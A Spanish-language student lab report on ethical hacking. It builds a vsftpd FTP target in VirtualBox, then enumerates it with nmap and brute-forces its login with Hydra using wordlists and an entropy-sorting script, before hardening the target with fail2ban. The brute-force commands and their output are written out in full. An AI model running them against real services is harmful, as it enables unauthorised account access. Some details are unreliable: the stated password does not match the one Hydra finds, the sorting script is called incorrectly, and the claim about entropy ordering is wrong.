

RA1-5. AEE

Diccionarios, escaneo e

Hidra sobre FTP en

Google Cloud

HACKING ÉTICO

Trabajo realizado por : Javier Garrido Ortiz



Índice

Apartado 1

2



Unión Europea

SEDE PORVENIR - VIAPOL: C/ Isabela, 1 - 41013 Sevilla SEDE CARTUJA: C/ Leonardo Da Vinci, 7 - 41092 Sevilla

Apartado 1

Enunciado :

El objetivo de esta práctica es que el alumnado diseñe, implemente y documente de manera autónoma un entorno didáctico replicable en el que pueda experimentar con los riesgos asociados a protocolos de autenticación en texto claro (FTP) y con técnicas básicas

de reconocimiento y fuerza bruta.

Cada estudiante deberá ser capaz de desplegar tanto la máquina víctima (servicio FTP en

claro) como la máquina atacante (herramientas para generar diccionarios, ordenar por entropía y ejecutar ataques controlados), elegir la plataforma de despliegue (Google Cloud o

VirtualBox) y justificar las decisiones técnicas y de seguridad adoptadas.

Deberá crear una guía paso a paso y documentada con explicación de los comandos y capturas de pantallas.

Respuesta :

He elegido hacerlo en VirtualBox

En la maquina victima instalamos vsftpd

```
osboxes@osboxes:~$ sudo apt install vsftpd -y_
```

Este servicio permite conexiones de FTP en texto claro, útil para practicar ataques de fuerza bruta.

Lo restablecemos y lo habilitamos

```
osboxes@osboxes:~$ sudo systemctl restart vsftpd
```

```
osboxes@osboxes:~$ sudo systemctl enable vsftpd_
```

Esto asegura que el servicio FTP esté siempre funcionando.



Creamos un usuario ftp y ponemos contraseña

```
osboxes@osboxes:~$ sudo adduser ftpuser
info: Adding user `ftpuser' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `ftpuser' (1001) ...
info: Adding new user `ftpuser' (1001) with group `ftpuser (1001)' ...
info: Creating home directory `/home/ftpuser' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
```

En este caso la contraseña sera ftp12345 el usuario ftpuser
Este usuario será el objetivo del ataque de fuerza bruta desde Kali.

Instalamos herramientas extra por si no están de por si

```
(osboxes@osboxes)-[~]
$ sudo apt update
sudo apt install hydra nmap git python3 python3-pip -y
[sudo] password for osboxes:
```

Estas herramientas permiten crear diccionarios, ejecutar scripts o usar Hydra sin problemas.

Recopilamos diccionarios en kali

```
(osboxes@osboxes)-[~]
$ mkdir ~/diccionarios
cd ~/diccionarios
git clone https://github.com/danielmiessler/SecLists.git
git clone https://github.com/berzerk0/Probable-Wordlists.git
mkdir: cannot create directory '/home/osboxes/diccionarios': File exists
fatal: destination path 'SecLists' already exists and is not an empty directory.
Cloning into 'Probable-Wordlists' ...
remote: Enumerating objects: 3200, done.
remote: Total 3200 (delta 0), reused 0 (delta 0), pack-reused 3200 (from 1)
Receiving objects: 100% (3200/3200), 58.64 MiB | 26.02 MiB/s, done.
Resolving deltas: 100% (613/613), done.
```

Los usaré para hacer el ataque de fuerza bruta a FTP.



Creamos el archivo ordenar_entropia.py

```
GNU nano 8.6                                ordenar_entropia.py *
import math, sys

def entropy(s):
    if not s: return 0
    import collections
    counter = collections.Counter(s)
    length = len(s)
    return -sum((count/length) * math.log2(count/length) for count in counter.values())

def main(infile, outfile):
    with open(infile, errors='ignore') as f:
        pw = [p.strip() for p in f if p.strip()]
        pw = sorted(set(pw), key=lambda x: entropy(x), reverse=True)
    with open(outfile, 'w') as f:
        f.write('\n'.join(pw))

if __name__ == "__main__":
    main(sys.argv[1], sys.argv[2])
```

Así optimizo el diccionario antes del ataque, haciendo Hydra más eficiente.

Activamos el puerto 21 en la maquina victima

```
osboxes@osboxes:~$ sudo ufw status
Status: active

To Action From
--
22/tcp ALLOW 192.168.1.50
Anywhere ALLOW 192.168.23.11
22 ALLOW Anywhere
21/tcp ALLOW Anywhere
22 (v6) ALLOW Anywhere (v6)
21/tcp (v6) ALLOW Anywhere (v6)
```

Hacemos un escaneo con nmap

```
(osboxes@osboxes)-[~]
$ nmap -p 21 10.0.2.5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-18 10:30 EST
Nmap scan report for 10.0.2.5
Host is up (0.00034s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
MAC Address: 08:00:27:EC:87:D5 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
```

Está abierto el puerto 21 como open ftp, este paso confirma que puedo iniciar el ataque



Creamos el archivo diccionario_top.txt

```
GNU nano 8.6 diccionario_top.txt *
cat > diccionario_top.txt <<EOF
123456
password
ftpuser
123456789
admin
letmein
welcome
12345
qwerty
caracñ
EOF
```

Este diccionario optimizado será utilizado por Hydra en el ataque.

Usamos el archivo de entropía para ordenar el diccionario

```
(osboxes@osboxes)-[~]
$ python3 ordenar_entropia.py diccionario_top.txt
```

Esto servirá para que el script pruebe primero las contraseñas que estadísticamente tienen más probabilidad de funcionar en entornos reales.

Atacamos con hydra

```
(osboxes@osboxes)-[~]
$ hydra -l ftpuser -P diccionario_top.txt ftp://10.0.2.5 -o hydra_found.txt -t 4 -V
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-18 11:01:18
[DATA] max 4 tasks per 1 server, overall 4 tasks, 12 login tries (l:1/p:12), ~3 tries per task
[DATA] attacking ftp://10.0.2.5:21/
[ATTEMPT] target 10.0.2.5 - login "ftpuser" - pass "123456" - 1 of 12 [child 0] (0/0)
[ATTEMPT] target 10.0.2.5 - login "ftpuser" - pass "password" - 2 of 12 [child 1] (0/0)
[ATTEMPT] target 10.0.2.5 - login "ftpuser" - pass "ftpuser" - 3 of 12 [child 2] (0/0)
[ATTEMPT] target 10.0.2.5 - login "ftpuser" - pass "123456789" - 4 of 12 [child 3] (0/0)
[21][ftp] host: 10.0.2.5 login: ftpuser password: ftpuser
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-18 11:01:22
```

Hydra realiza intentos rápidos y automatizados contra el servicio FTP hasta encontrar la contraseña correcta.



Registramos los resultados y evidencias

```
(osboxes@osboxes)-[~]
$ # 1. Entrar a la carpeta que ya existe
cd ~/entrega

# 2. Generar el escaneo nmap (si no lo tienes)
nmap -p 21 10.0.2.5 -oN nmap_ftp.txt

# 3. Copiar los demás archivos (desde el directorio anterior)
cp ~/diccionario_top.txt .
cp ~/hydra_found.txt .
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-18 11:09 EST
Nmap scan report for 10.0.2.5
Host is up (0.00034s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
MAC Address: 08:00:27:EC:87:D5 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds

(osboxes@osboxes)-[~/entrega]
$ ls-l
ls-l: command not found

(osboxes@osboxes)-[~/entrega]
$ ls -l
total 12
-rw-r--r-- 1 osboxes osboxes  94 Nov 18 11:09 diccionario_top.txt
-rw-rw-r-- 1 osboxes osboxes 1042 Nov 18 11:09 hydra_found.txt
-rw-rw-r-- 1 osboxes osboxes  394 Nov 18 11:09 nmap_ftp.txt
```

Vamos a limpiar y endurecer la maquina victima

```
osboxes@osboxes:~$ sudo apt install fail2ban -y
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
fail2ban is already the newest version (1.0.2-3ubuntu0.1).
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
```

```
osboxes@osboxes:~$ sudo systemctl enable fail2ban
```

```
osboxes@osboxes:~$ sudo systemctl start fail2ban
```

Después de completar el ataque:

- cerramos el puerto 21,
 - eliminamos el usuario de pruebas,
 - deshabilitamos vsftpd,
- para evitar vulnerabilidades permanentes.



Creamos una whitelist para dar vía libre a la máquina kali para hacer pruebas

```
osboxes@osboxes:~$ sudo nano /etc/fail2ban/jail.local_
GNU nano 7.2 /etc/fail2ban/jail.local
[DEFAULT]
ignoreip = 10.0.2.15/24_
```

Esto permite hacer las pruebas de forma controlada y sin riesgo externo.

